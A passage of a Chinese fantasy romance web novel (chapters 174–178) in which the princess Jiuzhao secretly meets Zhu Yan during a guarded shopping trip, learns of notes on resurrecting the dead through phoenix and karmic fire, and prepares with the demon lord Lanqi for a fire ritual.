九昭起身,慢吞吞踱步至桌前,曲指轻叩两下笼沿,逗趣道: “如此着急吓退她们,怎么,是祝晏在你身上隐藏了什么密信,要上赶着交给我?” 雪宝不过一未开灵智的野兽。 她闲着无聊找点乐子,本没指望它能听懂。 然而下一瞬,雪宝忽然四肢蜷缩,扣住肚腹,做出呕吐的征兆。 “咔咔——” 类似呛水声的促音接连不断响起,转眼,一个没有沾染半点口水的纸团被它吐了出来。 “?” 九昭额头冒出问号。 纸团外表尚清洁,被关在无日渊那么久,她也早就没有了洁癖。 将其从笼隙中取出打开来看。 是祝晏的笔记。 上书写道: “有要事欲与卿知,事关涅槃凤火,若感兴趣,三日后王都迎禧布庄,随时恭候。” 174| 第174章 ◎“郎君抠抠搜搜,娘子抱柱不走。”◎ 两日后。 “你我婚期将近, 再过几日按照焚业海的习俗,需要前往圣火坛拜祭。 孤有许多事要忙,没空陪你出宫, 等婚后再说吧。” “你少唬我, 你忙着成婚,不就是为了补全真血之力,早日向三清天发起总攻。 “若婚前不能出宫,婚后很长一段日子里更加不能, 你就不能依我一回,让我享受享受最后的自由? “我听女婢们说,王都除了酒阑夜市有意思, 南边的大街也不错,吃的、穿的、戴的,应有尽有——” 一番你来我往,兰祁败下阵来。 他被九昭眼巴巴瞧着, 拧眉一言不发。 少顷, 冷不丁发问:“若孤不得空闲, 你想命谁陪你出宫,祝晏吗?” 九昭正要开口, 又听见他自说自话道:“不过, 实在不好意思,自打上回出游结束后, 他便被孤派去巡视城防了, 身为一方城主, 他的忙碌程度不比孤好上多少——既然他也不在, 你可还要出去?” 这番话看似解释, 实则里里外外透着微妙的阴阳怪气。 九昭心中忖度着祝晏是如何避开相随的侍官魔兵, 偷偷溜回王都的,面上故作疑惑地反问道:“为何一定要祝晏?只要能听我差遣,护我周全,是谁来不都可以吗?” “噢,孤还以为,有他在,你会更开心些。” “怎么可能,还是你陪着我更开心。”阴阳升级为藏不住的酸意,九昭面不改色说瞎话,“你和我从小一起长大,而祝晏和我认识不过千年,他怎及你了解我的性情喜好。” “……” 纵使这哄人的话有些生硬。 但兰祁不得不承认,自己的心情像是突然被日光照亮了一瞬。 他沉吟片刻,试探道:“那,孤派无咎伴你,可行?” 同为凤凰族,无咎和九昭早已结仇,不必担心他会在相处中生出情愫——相比其他心怀鬼胎的臣子,无咎的个性又一向骄傲忠直,哪怕和九昭不对付,也会忠诚执行他的旨意。 兰祁一手算盘打得精妙。 而九昭听见这个名字也没有多余表情。 她仍是散漫的模样,说着“只要不扫兴,谁来都好”。 …… 于是,翌日,九昭在外城门口,一眼瞧见脸色还有些臭的青年。 为了不引人侧目,兰祁派出的近卫照样隐匿身形,跟在两人附近。 明面上,孤男寡女的搭配,无咎怎么看怎么别扭。 九昭没有开口的意思,碍于兰祁的命令,他不好让气氛僵在那里。 便双手交叉于胸前,躬身下去,朝她行了个正式的问安礼:“臣,凤凰族现任族长无咎,参见尊后。” 无咎刻意把“凤凰族现任族长”几个字咬得很重。 行礼结束又迫不及待把头抬起来,渴望从九昭眉眼间窥得一丝隐忍的扭曲。 奈何,看来看去,他却等来九昭倏忽向前两步,站到他面前。 檀口半张,轻飘飘唤道:“阿咎。” 无咎:“?” 便是族中看着他长大,同他最为亲近的长老,也未曾有过如此亲近的称呼。 耳畔直如过电,后颈皮肤颗粒大片乍起。 被厌恶之人表以过分亲近的态度,无咎差点就要克制不住脾气。 “你干什么?!” 他抱着胳膊,踉跄后撤,得亏反应足够灵敏,才没有绊倒自己。 这出滑稽的戏码,没有引起九昭的笑意。 她歪了歪头,像是没理解无咎为何这么大反应。 过了会儿,才慢吞吞抬起双眼,望着他道:“是兰祁没跟你说吗?出门在外,掩人耳目,不可直呼大名,临时想个新名,总有脑子转不过来嘴瓢的时候,干脆称呼单字,我和兰祁祝晏出去,也是这般做的。” 经此提醒,无咎想起兰祁的确交代过。 九昭身份敏感,出宫之前记得为她遮掩容貌气息,更不要直呼尊后。 业尊的旨意,他绝不敢忘记。 先前的做派,仅仅出于羞辱她的恶劣心理。 不过话说回来—— 如今被当成猴子看的人,怎么好像变成了他自己? 顿时,无咎的神情更难看了。 他严重怀疑九昭的那声“阿咎”,也存着戏耍自身的心思。 只是相较贵为三清天神姬时不加掩饰的笑骂由心,落魄至此的她学会了伪装而已。 ……他迟早会揭穿她的真面目! 阴恻恻地转过眼睛,朝城门外眺了一圈。 无咎心不甘情不愿地施展法力,替九昭掩去身上的仙族气息。 …… 九昭始终难以想象。 雪宝巴掌大的身子里,除了祝晏写给她的信,竟然还能放下一份王都地图。 那封阅后即焚的信令她记住“迎禧布庄”这个名字。 犹豫着要不要找女婢打听打听位置,不出两息,雪宝再度呕吐起来,嘴中掉出团皱巴巴的牛皮。 牛皮被她捡在掌心,不断伸展扩大,将王都内的每条街道、每家店铺都标注了个一清二楚。 甚至还有东南西北四道城门的兵力驻守情况。 从这些隐晦的细节里,九昭感觉到,祝晏约她并不是告知涅槃凤凰的秘密那么简单。 此刻,她按照计划,走在通往迎禧布庄的南街上。 身边是双臂交叠,怀中抱剑,浑身上下散发“生人勿进”气息的无咎。 迎禧布庄位于南街的街尾,在整个王都有着一定的名气。 她装作闲谈和女婢说起时,得知那里有着最时新的布料和成衣,是焚业海的城主贵族们常去之地。 出宫游玩,买些吃食,买些胭脂水粉,再到布庄挑些布料衣衫。 任凭谁也挑不出错去。 九昭向旁一瞥,瞧见牌匾上书三个大字“积宝阁”。 又将手中的零嘴一丢,大步迈了进去。 “我要这个、这个、这个,还有这些,全部包起来。 “阿咎,过来付钱。” “这玉钗如此素淡,还不如右手边那只金簪。” “你是不是从来没有陪女子逛过街?” “怎么?要你——” 身为万年老处男的无咎,再度被戳中死穴,差点原地炸开凤凰毛。 秉承礼貌,九昭拿起包好的首饰,特地走出店门,才勾起唇角似笑非笑:“若你将来有了妻子,陪她出游,千万别在她面前说放在角落,簪身上堆满了灰,一看就无人问津的大红大紫簪子好看。” “……” 陆续又逛了几家首饰和胭脂店。 九昭对青年的审美大开眼界。 大红大紫还不够,偶尔问他意见,他专挑那些组合起来怪异无比的颜色。 九昭起先以为无咎是报复自己。 直到发现他不服气,背着她偷偷捡起两盒方才被坚定否决的胭脂,付钱藏进储物戒里。 和品味奇葩的直男出游,是一个轮流无语的过程。 不知不觉,他们终于来到了目的地。 虽在街尾,迎禧布庄却占据了五六间店铺的位置,三层高,看起来气派雅致。 “其他东西买够了,我要进去挑些布料裁衣。” 即将瞒着兰祁,和祝晏私下见面,九昭依旧气定神闲。 无咎抬眼看了看昏暗的天色,杵在店门前道:“尊、交代了要在天黑前回去,差不多到时间了。” “离天黑还早得很,你着什么急?” “回去尚有一段路要走,等走到就天黑了。” “阿祁明明说的是天黑前要回去,不是天黑前要到家,我看就是你不想陪我继续逛了—— “来都来了,不把最后一样买完,我不安心。” 九昭一边答话,一边仿佛怕无咎伸手直接将自己拖回去,干脆单臂揽紧柱子。 时间一点一滴流逝,他们四目相对,大眼瞪小眼,谁也不肯妥协。 落在外人眼中,活像一对郎君抠抠搜搜,娘子抱柱不走的年轻夫妻。 “……” 注视着眼前说耍赖就耍赖,丝毫不顾及自身颜面的九昭。 无咎突然怀念起过去那个很爱端神姬架子的她。 爱端架子,至少不会和现在一样。 无咎严重怀疑,自己若不答应,她会直接手脚并用扒在柱子上,再也不肯下来。 罢了。 罢了。 她名义上是尊后。 是整个焚业海仅次于业尊的,身份最高的人。 要忍。 一定要忍。 阖上双目,再睁开时,无咎吐出一口浊气: “好吧,这是最后一家,逛完,就要回去。” 175| 第175章 ◎“我绝不会再骗你。”◎ 顶着无咎的怨眼, 九昭买了几匹布,又叫老板拿挂在桁架上的成衣给她看。 未知是否为刻意安排的缘故,那成衣比在她身上长短正好, 花色也是她喜欢的明丽不郁。 “老板, 可有房间?这套衣裙我想穿上试试。” 比拟一个买主应有的样子,九昭将成衣搭在臂间,装□□不释手地发问。 “有的有的,不过按照小店的规矩, 得麻烦贵客您提前付一笔押金。” 老板的演技较九昭,来得更加生动自然。 在人人皆有法术,防不胜防的地界, 若客人要带着货物暂时消失,收取押金的做法很是普遍。 九昭使了个眼色,频频看向店外,提醒着她抓紧时间的无咎只好过来付钱。 老板随即喜笑颜开:“上楼左转, 女宾和男宾的更衣房间都有标注, 贵客您请。” “好。” 两手提起裙摆, 九昭颔首,朝楼梯走去。 “等等。” 得了兰祁吩咐, 要寸步不离守在她身边的无咎连忙出声, “我随你一同上去。” “这……” 老板为难起来,“上面还有其他正在更衣的女客, 身份贵重, 您跟着上去, 恐怕会有所冲撞。” 九昭亦淡定转过身来, 目光不闪不避睨向无咎:“上去之后呢——难道你还要跟进去?我倒是不介意对着你宽衣解带, 就是不知道, 阿祁会不会介意。” 说着,她垂在裙侧的左手抬起,勾住青绿色的绦带,一圈一圈,缠了缠。 为着出游,女婢特意为九昭涂了蔻丹。 绦带纤纤,指尖粉嫩,肌肤雪白。 三重色调,随着动作交织在一起,如桃枝春颤,透着莫名的婀娜靡丽。 无咎的喉结上下一滚,大脑就着九昭所说的“宽衣解带”四个字,自动浮映出不该有的画面。 他的呼吸登时发滞。 紧接着,喉咙一痒,不适地咳嗽起来。 “咳咳、咳咳咳、咳咳咳——” “罢了,你先咳嗽,我不会锁住更衣房间的大门,你爱进来就进来。” 成功激将完头脑空空的凤凰族长,九昭信步拾级而上。 二楼的走廊十分安静,除了两名侍女各自守在楼道两畔,并不见老板口中停留试衣的女客。 祝晏的信件只说在迎禧布庄相会,其它俱是没头没尾。 九昭正踌躇着下一步该怎么走,其中一名侍女走了过来,附在她耳畔气声:“请随我来。” 鞋履踩在厚实的锦毯上,发出的声响接近于无,被侍女带领走到倒数第三间房时,九昭特意回眸,看了眼无咎有无跟上来——不知为何,楼下的咳嗽声早已止息,青年却迟迟没有动静。 她略作思忖,同样用气声回了句“有人跟着我来,周围还有隐身的近卫”,方才推门走进。 帘幔掩住窗台的昏暗里,四方阒寂无人。 九昭离大门远了些,选了个置有春凳的角落,将臂弯的成衣放了上去。 祝晏没有立即出现,她便径自解开腰带,脱下斗篷、外袍,一件一件,落在成衣旁边。 房内法阵流转,暖意熏然,衣衫单薄倒不觉得冷。 待身上只剩一件里外两层的夹裙,虚空中出现张青年的面孔。 他的人形未完全显露,只冲着九昭伸出一只手,掌心符篆明灭,法光流转。 九昭打眼认出是敛息符。 “展开结界太张扬,很容易被五感敏锐的无咎察觉。” 祝晏解释起这么做的原因,却没有对自己方才隐身在旁,窥视九昭脱衣的场景做出说明,“我知晓你如今仙力有缺,不便施展隐身术法,只能委屈你握住我的手。” 九昭听完没动,顿了顿,他又眸光黯淡地补充道:“要是你介意碰触,我也可以戴上手套……” 话音未落,九昭紧紧握住他的手,两人一同消失在空气中。 “长话短说,我出宫时兰祁下了命令,再过一刻必得启程回去。” 许久不曾有过亲密接触,九昭的话音在耳,祝晏感受着掌心温热,霎时心跳如同擂鼓。 他强迫自己收起痴意,信手向眼前一抹,闪烁着光亮的录影球内呈现凌乱而熟悉的笔记: 涅槃火,诞于三清天地心,由凤凰神树根系汲取,而生凤火。 一体两面,可焚万物于无形,可愈断器绝症。 业火,诞于焚业海地心,无物作为载体,同样会杀死一切,却对入魔的仙族有脱胎换骨之力。 脱胎换骨,由仙入魔。 治愈重症,弥合裂器。 仙魔本为一体,盖由祖神孕育。 凤火?业火? 仙?魔? 涅槃的特性。 死的另一面是生。 既然连神明尽可毁灭,为何不能创造新生? …… 人们撰文写信,寻求的是前后连贯、语义通顺。 可这些笔记上的内容,却充斥着无数问号、混乱的逻辑、以及大片大片的对比和自我否定。 九昭艰难地将其串连消化,又看见笔记最后的一句话: 或许仙族已知的最高阶涅槃凤火,从来不是这股力量的尽头。 …… “你应该认得出来,这是杏杳的字迹。” 祝晏出声,打破沉寂的气氛。 他没有收回播放完毕的录影球,而把它送入九昭掌心。 “若能寻到这两者间的关联,使得涅槃凤火顺利突破,更上一层楼,说不定真的可以起死回生。” 九昭沉默着。 假设字迹的主人换成其他任何人,她都不会投入一丝一毫的信任。 偏偏对方是杏杳。 杏杳将一生献给了治病救人——毫无根据、没有指望的方法,不会被她详细写在笔记上。 逆转阴阳,起死回生,大大违背了天道。 哪怕再罔顾人伦的禁术志,都没有对其的一丝一毫记录。 九昭下意识想要否决:“如果凤火和业火真的出自同源,巫劭堕落为魔时为何没有练成?” “这点,我去探查过。” 祝晏答道,“巫劭反叛三清天时,心魔已滋生成形,他又生性骄傲,不愿被象征邪恶不洁的业火污染凤凰一族的至圣之火,所以没有通过业火淬炼弃仙入魔,而是放任心魔壮大,彻底吞噬了神格。” 尽管总会有神仙受不住业火的焚烧就此殒命,但多数皆可以顺利通过考验。 更何况,凤凰族自带本命翎,只要本命翎未用尽,无论如何都能够熬过去。 而选择心魔壮大,吞噬神格的方式却不同。 本为死敌的两股力量在体内对抗冲撞,致死率成倍提高,还会招致神志丧失的风险。 巫劭的极端性情,从此中可见一斑。 见九昭再度无言,祝晏继续解释道:“杏杳的这些笔记,是我留在她那里修养身体时,不经意发现的,那时我只觉得没有事实依据,多半是无稽之谈……但现在不同了。” “有何不同?” “你不日就要前往圣火坛拜祭,各位业族重臣不会允许仙族女子登临尊后宝座。 “他们拧不过执意娶你的兰祁,便退而求其次,联合上奏,要求你必须通过业火淬炼,成为一名真真正正的业族,断了和三清天的最后一丝牵系。 “兰祁虽未当场答复,我想介于凤凰身怀本命翎,通过考验几乎没有风险这点,他大约会同意。” 说到这里,祝晏抬眸,小心翼翼瞧了瞧九昭的脸色。 见她眉目淡寂,毫无讶异,又微定心神,以指腹抚触她的掌心,“昭娘,你的本命翎应当还有剩下吧?我想,不如趁着身入业火的契机,探一探突破涅槃凤火的方式,就算不成功,也不至于殒命——” 九昭却陡然掐住他作安抚状的指节:“为何要帮我?” 痛楚顺着二人交扣的部位处传来,与九昭消瘦文弱的外表截然相反。 一线突如其来的灵光在祝晏意识中荡过。 似乎,她的恢复情况,不比他们想象中来得迟缓…… 没等深入思忖下去,更剧烈的疼痛传来:“怎么不说话?” 祝晏旋即收拢发散的思绪——此刻正是他重新赢得九昭信任的要紧处。 他适当欲言又止几息,说道:“仙族将你忤逆弑父的事迹传得沸沸扬扬,连焚业海都人尽皆知,可我始终不相信,不相信你会是这样的人,人死难以作证,我不愿你背负冤屈沉默地活下去,若其中有什么隐情,复活神帝,将真相诉诸众人,你就可以回到神姬的位置上,不用再饮恨依附于兰祁。” “我说了很多遍,我已放下过去,不恨他,也不恨你,你无谓揣测我真正的想法。”九昭压下心头祝晏反复试探带来的不耐,话锋一转,“真不真相的,仙族都要一败涂地了,我变回神姬又有何用?” 她到底松开了手劲,没再掐着祝晏的指节。 只是碍于敛息符的效用,依旧与他十指紧扣。 祝晏垂眸,寻着热疼发胀的源头望了过去。 恨也罢。 不恨也罢。 横竖没有九昭的三千年,他明确了自己真正的心意。 若不被倾心相待,能成为一块牢固的、有用的、永远不被舍弃的狗皮膏药也好。 这本就是他的报应。 下完决心,他将唯有自己和无咎这两位兰祁的绝对支持者掌握的秘密和盘托出,并告诉九昭:“只要兰祁不同你结契,真血之力不交融,掌握着元神自爆这一法门,仙族就还有反败为胜的机会, “另外,你就没有想过,把另一半凤凰真血,从兰祁那里夺过来吗? “只要你亲手杀了兰祁,真血的力量就会全然汇集你身。 “顶尖的功法配上顶尖的力量,从此以后,你不必再畏惧任何,仙魔还是人,自由你来定义——” “昭娘,请你相信我,我绝不会再骗你。” 不知不觉中,祝晏的眼神透出狂热的情愫。 他鲜少有这般言语絮絮、口若悬河的时刻。 像是即将溺死的人,竭尽全力抓住最后一根虚妄的浮草。 而将整件事情听完的九昭,仅仅看了瞬窗外的天色,说道:“傍晚快到了,我该回去了。” “好、好吧,时间竟然过得这么快。” 虽然失望,祝晏并未执拗于立刻得到结果。 毕竟,他也是想了千年,才终于想明白究竟想要什么。 他恋恋不舍地用尾指勾着九昭的手:“仙族有违反必遭天谴的血誓,魔族也有,昭娘,从前是我错了,如今,为了证明我的心,我愿意以性命起誓。你若想明白,可以通过雪宝告知于我。 “我利用九尾狐族的秘宝,在它体内设下阵法,将信件吃进去、吐出来,即为一次传讯的过程。 “不过,寂无宫处处设有禁制,若想不被兰祁发觉,你我只能每隔五日联系一次。” 176| 第176章 ◎“有我在。”◎ 从迎禧布庄回来, 感知到九昭的情绪发生波澜。 趁无人时,巫逐出现在她面前: “若涅槃凤火突破上限,真能具备起死回生的神效——神帝遭受天谴, 魂飞魄散, 未必有用,可那瀛罗世子仅是伤重而亡,说不定有从天地间唤回魂魄,重塑肉身的希望。” 巫逐的话, 总能轻易刺中九昭内心回避的部分。 见她目光涣散,半举着右手,有一下没一下拨弄今日从南街购回的首饰衣衫, 他又从另一种角度出发说道:“不过,既然你已经被仙族抛弃,就没必要再操这份心。祝晏也说了,这只是杏杳写在笔记里的一种猜想, 没有确凿的证据支撑, 也从未有人成功过, 你更不至于冒着生命危险去尝试。” 不该尝试吗? 通过当年在凤凰神树内学会的技法。 将所有令自己痛苦到想要发疯的情感剥离出去。 九昭再想起神帝的面孔,以及他临终吐露的真相和忏悔, 心脏已不再传来窒息般的闷疼。 她把巫逐提到的人事皆在脑内过了一遍。 却不知怎的, 耳畔重复回响起瀛罗当年曾对她说过的话: “臣为殿下做什么都是应该的。 “这是臣的本分。 “哪怕付出性命,也心甘情愿。” 到最后, 他终于用行动证实了自己立下的承诺。 守护着她, 直至献出生命。 九昭的心脏又痛了起来。 这种痛, 令她倍感茫然。 明明, 在决心弃爱拔情时, 她已不会痛了。 为何。 为何—— 巫逐等了许久, 也没有等来九昭的回应。 只看见一直以来浮泛在那张面孔的伪装褪去。 她似乎变回了有血有肉的神姬,哀色触目,喃喃自语:“人活在世上,终究逃不过亏欠二字。” …… 去往圣火坛拜祭的前一日,本该就女官再来检查一遍礼仪的学习情况。 九昭接到旨意,半刻后,等来的却是兰祁。 “怎么,见到孤很意外?” 不愿将寒气传染给九昭,兰祁站在檐廊下,垂眸仔仔细细拂去肩头霜雪。 再脱下大氅,施法令发凉的掌心回暖起来,他这才抱着双臂,缓缓踏入殿内。 九昭的视线,自满桌以供明日使用的华服美冠上抬起,落在逆光而来的青年身上。迎着满殿下跪叩首的宫人仆婢,她倚坐桌前的身体换了个姿势,懒洋洋以手撑着下巴说道: “倒不意外,只是尊上您哪有琼星她们来得有意思。” 将堂堂业尊与一介后宫女官相较。 还给出业尊比不上她们的结论。 九昭的放肆无礼,叫所有人都沉默倒吸一口凉气。 兰祁虽然常常温和到与整个焚业海的作风格格不入,但见识过他早年争夺尊位时的雷霆手段,哪怕再狂妄、再目中无人的三十二城城主,见了他也只有毕恭毕敬行礼、战战兢兢说话的份。 更何况,九昭并不受宠。 他们两位,一个忙碌前朝,一个闲游后宫,很少见面,兰祁也根本不在连理殿过夜。 就在侍婢们臆想着九昭会被如何呵斥惩罚时。 兰祁却突然勾起唇角,轻声笑了起来。 “她们全都不喜你这横空出现,夺去尊后位置的不速之客,你倒日夜盼着她们过来相伴。” 他抬手挥了挥,示意闲杂人等退下,不紧不慢朝九昭的方向走去。 ……只是这样? 惩罚没有,尊上竟然还对她笑? 殿门闭合的刹那,有女婢大着胆子望向缝隙,却见两道人影已然叠到一起。 兰祁修长的手指握住髻上发钗一角,如同对待易碎的瓷瓶般小心将其扶正,口中带着不自知的几分怜爱,低声责怪道:“叫你这几日闲着无事,自己待在殿内多练习练习,是不是又偷懒了—— “你看你,连钗子都睡歪了。” …… 魔族本是轻礼重利的种族。 拜祭礼仪的复杂程度,尚不及三清天节庆典礼的十分之一。 九昭学得很快。 只在背诵古业语祷词时偶有磕绊。 兰祁化身一丝不苟的严师,盯着她重复一遍又一遍,直至将发音捋顺。 半个时辰过去,念到嗓子冒烟的九昭假装体力不支,往床上装死一躺。 “起来。 “别偷懒。 “祷词最为重要,须得倒背如流我方能安心。” 兰祁坐到床边,口中催促着,想拉她的袖子。 冷不丁被反手一拽,扑倒在衾被间。 双手摁着青年的手臂,不叫他反抗,九昭顺势将半个人压了上去,埋首在他胸膛。 “别催了……真的累,我才从牢狱里放出来几日,身体都还没恢复。” 提到这点,兰祁便不动了。 医官们时常为她施术调理,也会把情况报告到他这里。 外伤好了七七八八,奈何长久的雷罚损坏了仙脉,不仅仙境跌落,身体更是至今无法释放仙力。 而无法释放仙力的原因。 医官猜测,一方面焚业海仙灵稀薄,无法支持九昭大量吸收,治愈内伤。 另一方面,损坏的仙脉,唯有最高阶的涅槃凤火方可接续重生。 他自然会为九昭治好身体。 却不是现在。 唯有两人成婚结契,完成灵肉合一,他才能真正放心。 身下人不再说话,仿佛默认她休息的请求。 九昭趴伏着缓了片刻,闲谈似地开口:“你们焚业海的构造还真是奇特,其他业火不都是自地底无规律喷发的吗,怎么圣火坛的业火,便能够老老实实待在原地?” 对方转移话题,兰祁也乐得将她身体的现状隐瞒下去:“圣火坛的业火和城外那些都不一样,它曾被流放到焚业海的初代业尊阙昶的武器,凭借它,祖神崩逝的最初,焚业海一度和三清天分庭抗礼。 “可惜好景不长,阙昶虽天赋异禀,领悟了炼化业火的法门,奈何操控业火的同时,业火的阴寒之力也在侵蚀她的生机,那时仙族和业族连番交战,她过度耗用,最终落得个英年早逝的下场。 “连带业族也衰落下去,唯余圣火坛的不灭业火,象征着那极其强盛的过去。” 业火,竟也为人所用过吗? 骤然得知焚业海往昔的秘辛,九昭的目光闪了闪。 三清天早就将有关魔族的历史全部毁去,连起出同源的事实也禁止神仙宣之于口。 若今日兰祁不说起,她根本无从得知魔族还出过这样一位天才—— 另外,这是不是,也算为杏杳的猜想,增添了一重间接的论证。 九昭沉吟几息,复问:“既然初代业尊能做到,为何不将这功法传承下去?” 兰祁摇首:“我也不清楚,那时阙昶在战场猝然崩逝,来不及留下任何只字片语。她死后无数业族前仆后继尝试,却未曾有一人成功,俱遭业火吞噬。我想,或许她能操控业火,只是出于机缘巧合。 “另外,没有统治者不惜命,这个位置一旦坐上去,人人就渴望能坐得长久。 “谁会愿意自己身先士卒打下的战果,反被后来者摘取?” 叙述着那段万万年前的往事,他发出沉郁叹息:“如今圣火坛的业火,仅能起到转化仙族的作用,再不复昔日辉煌,若它能为人所用,焚业海也不至于这么多年始终落于下风,差点被三清天灭族。” “别这么想。” 为了将谈话进行下去,她随口安慰他道,“没有业火帮忙,你带领着军队,也快要攻下三清天—— “你可是比阙昶还要伟大的业尊。” 九昭的夸奖令兰祁陷入沉默。 即将捧起胜利的冠冕,他面上却未见志满的喜色。 一人仰面,一人趴卧,俱错过了彼此眼下的神情。 兰祁望着床幔顶端,平静道:“不管你信不信,其实我从没想过屠灭或是奴役仙族,我更想要的,是回到祖神治理的时代,无仙、无魔,无人高高在上,也无人被歧视,众生都能自由自在地活着。” 兰祁的念头,传入仙族耳中,会被骂伪君子,而被魔族得知,亦会即刻动摇他的统治。 值得庆幸的是,这一瞬,与他面对面的是九昭。 曾经,同样被视作“异类”的九昭。 她抬起面孔,寻着兰祁手落下的位置,攀过去,同他十指相扣: “……原来,在三千年前的大朝会上,我们真的有过共鸣。我不想当什么神姬,也不想生活在神仙仙奴等级分明的上界……可惜,尚未来得及做出些成效,已经沦为重恶不赦的罪人。” 他们共同拥有过更亲密、更深入的时刻。 兰祁却觉得,身体再怎么交缠,都不及这一刻灵魂的相知无间。 如胶似漆,如梦似幻。 他想摸一摸九昭蜿蜒在侧的鸦黑长发,又怕稍一动作,便会毁去这难得温情的场景。 他克制着欲念,又听见九昭询问:“所以明日,我也要通过圣火坛的业火,完成转变仪式吗?” 心口一跳。 与起初相反的念头无声浮现:“你想吗?” 为情破例的源头已开,反问过后,他不由自主接下去道:“若不想,有我在,谁也说不了什么。” 177| 第177章 ◎“也包括我。”◎ 这不像是兰祁会说的话。 或者说, 自打他们撕破所有的遮羞布“坦诚相待”后,这样护短意味鲜明的言辞—— 再不曾于兰祁的口中出现过。 青年软化的态度,朦胧传递出一个信号。 捕捉到这点, 某种想法如薄雾般, 在九昭脑海迅速汇聚又消散。 她维持着交心的姿态,加重力度扣住兰祁的大手,将自己的呼吸融入到他胸膛的心跳声中。 蜿蜒的黑发遮挡眉眼轮廓。 她好似在投落的阴影里思考,片刻后, 带着几分坚定说道:“神仙的身份,本没什么可留恋的,让我留恋的, 是与身份牵绊在一起的人与事——如今,他们都已经不在了,我还有什么放不下的。 “此后,我要在焚业海生活下去, 此处几无仙灵, 我若不转化为业族, 恐怕难再继续修行。” “这些都不要紧,哪怕你是个没有一丝法力的凡人, 有我在, 也无人能够伤你毫分。” 昔年寄人篱下的少年已如旧梦碎影。 兰祁看似平淡的口吻,透出一股至高掌权者的傲然笃定。 九昭却反将手从他掌心抽离。 她用臂肘撑起身子, 另手挽起黑鸦鸦的长发撇到一边, 露出雪白纤细的后颈——甫一显露人前, 那贴近发根的皮肤倏忽华光绽亮, 弹指之间, 一根遍体为赤, 毫无杂色的凤翎浮立其上。 “你瞧,我还剩下一根本命翎。” 生怕兰祁觉察不及时,她刻意拨弄了两下凤翎,弯起眼梢,献宝似地对他说道,“不会有危险的,只有消耗掉所有的本命翎,我们凤凰才会真正死去。” 凤凰族本命翎的事,从来不是秘密。 兰祁注视着那根在九昭指尖摇曳的,看起来轻飘飘的凤翎。 说到底,他只是承载巫劭元身和血脉的容器。 虽可以使用真血的力量,但无法像真正的凤凰那样献上最珍贵的东西给予守护。 后颈处相同的位置隐隐作痛起来。 兰祁移开双眼,语调低沉:“相比死,业火浸体的阴寒更叫人痛不欲生……你确定受得住?” 他参与过的,尽是九昭最千尊万贵的人生。 印象里,娇气的、明媚的、张扬肆意的神姬殿下。 可是跌破块油皮都会喊痛。 谁知担忧脱口,九昭满不在乎地轻笑起来:“九天雷罚我都生受了三千年,再痛能有它痛?” 兰祁无话可说。 未曾生有羽毛的后颈越发疼痛。 他为仙时,不是没有见过犯下大错施以雷刑的罪臣。 将那些受罚凄厉呼号的扭曲脸孔抹去,替换上九昭的面容。 稍作想象,兰祁已然呼吸滞涩。 万事感同身受,是情根深陷的开始。 一直以来,他都避免去回顾九昭受苦受难的过往。 此刻,思绪不受控制,恣意发散,痛意从后颈蔓延到了骨骼、血脉、肢体—— 连他的灵魂都在滋生出怜惜和酸楚的情绪。 兰祁只好换个话题:“其它两根,你都用在什么地方了?” 九昭抿唇摇首:“你不会想知道的。” 她仿佛有些成人面对年少糗事的赧然,一骨碌翻身坐起,贴着兰祁的手畔。 两人不复亲密无间。 “你不说我也知晓。” 胸口失去温暖的热源,青年毫无就此打住的意思。 他张开手掌,将九昭的腕子倒扣在床面,整个人如狩猎的野豹般,将猎物抵到大床的边缘。 “说吧,一五一十交代。” 气息喷洒在九昭鼻尖,她稍稍抬眼,撞进青年思绪复杂而晦暗的双眸间。 “……” 一种不说实话便会被拆吃入腹的危机感涌上心间,九昭蜷着肩膀,开始一五一十交代。 “对战烛龙期间用掉的本命翎倒是还好,起码保住了瀛罗的性命。 “被做成贺礼想送给扶胥,结果没送出去,被我毁了的那根,现在想想真是可惜。 “我那时只觉得能为了爱活,为了爱死……心上人不在意的东西,留着也没有意义。” 长睫敛落,隔断两厢对视,好似落寞不欲被人知。 九昭探出半截舌尖,舔了舔干涩的唇面,自我总结道,“我与扶胥婚事不谐,说到底,他并无什么过错,只是我认为相爱就要忠诚守心,无法接受三夫四侍——而他认为身在其位,责任至上而已。” ……还真是个,伪君子。 兰祁眼中闪过对于扶胥的深切鄙夷。 说得好像大义凛然,实则真相无非两种。 一种是没多少感情,仅仅出于有所图谋。 另一种,嘴上大度,若真有那日,还不是背地里成为怨气浓重的妒夫。 “不是你的错。” 他给扶胥扣上虚伪的标签,又放软语调安慰九昭,“他是你的王夫,怎么和其他外人一样反过来逼迫于你?想办法替你解决掉麻烦,才是他应该做的,而非说着心口不一的话惹你伤心。” 顺着九昭的腕臂向上,他缓慢抚摸她近在咫尺的娇美脸庞:“扶胥还是祝晏,他们巧言令色,没有担当,通通对你不好……瀛罗倒还说得过去,可恨过去总拿女子身份企图占你便宜。 “好在,他也死了。 “你这个傻瓜,不是别人对你好,你便要涌泉相报,不惜付出性命的。 “你要弄清楚他们的目的。 “就算真是爱你不计回报,又有谁规定了人不可以自私到底,只图获得,拒绝付出?” 怜爱的目光从忐忑颤抖的眼睫,游弋到不自觉半张的檀口。 像想要抚摸九昭的头发一样,兰祁突然也很想凑过去吻一吻她—— 吻去她的脆弱。 吻去她的易碎。 最好再传递给她一些自己的坚硬、冷酷和无情,让她免受来自外界的嗔恨愁苦。 “以后不管对谁,都要留有余地,知道吗?” 最终,兰祁的吻落在了九昭的额角,他磨蹭着她的鼻尖,温柔却不容她躲闪地问道。 这触感有些痒。 本该郑重对待的场合,九昭忍不住缩起脖颈,咯咯发笑:“也包括你?” “也包括我。” 兰祁严肃说完,抻臂抱住了她。 为了维持业尊的面子,不至于太掉价。 他感受着九昭的馨香柔软,又紧急找补一句:“你应该明白的,你活着才对我有用。” 九昭没再出声。 静默几秒,两条手臂拂上青年后背,将他轻轻压向自己。 心底的缺口,随即被流淌的温情填满。 千年万年的隔阂,仿佛在这一瞬的相拥中烟消云散。 …… 压抑着四肢百骸汹涌奔泻的愉悦,无声呼出口气。 兰祁想到: 哪怕祝晏以明日倒戈仙族作为要挟,他也绝不会放九昭离开和他在一起。 他要杀了祝晏。 杀了扶胥。 杀了所有辜负过她的人。 178| 第178章 ◎“帮帮我。”◎ 翌日。 兰祁乘坐的王驾出行, 八匹张牙舞爪的墨麒麟,拉着玄黑阔大的车辇在王都大道缓行。 身披铁甲重胄的近卫开道,三十二城主及大部贵族敛首于车后跟随。 队伍迤逦, 驰步肃穆, 厚重的城门开启,朝位于王都后方的业族圣山——弥夺山圣火坛前进。 …… 九昭将仪式完成得很好。 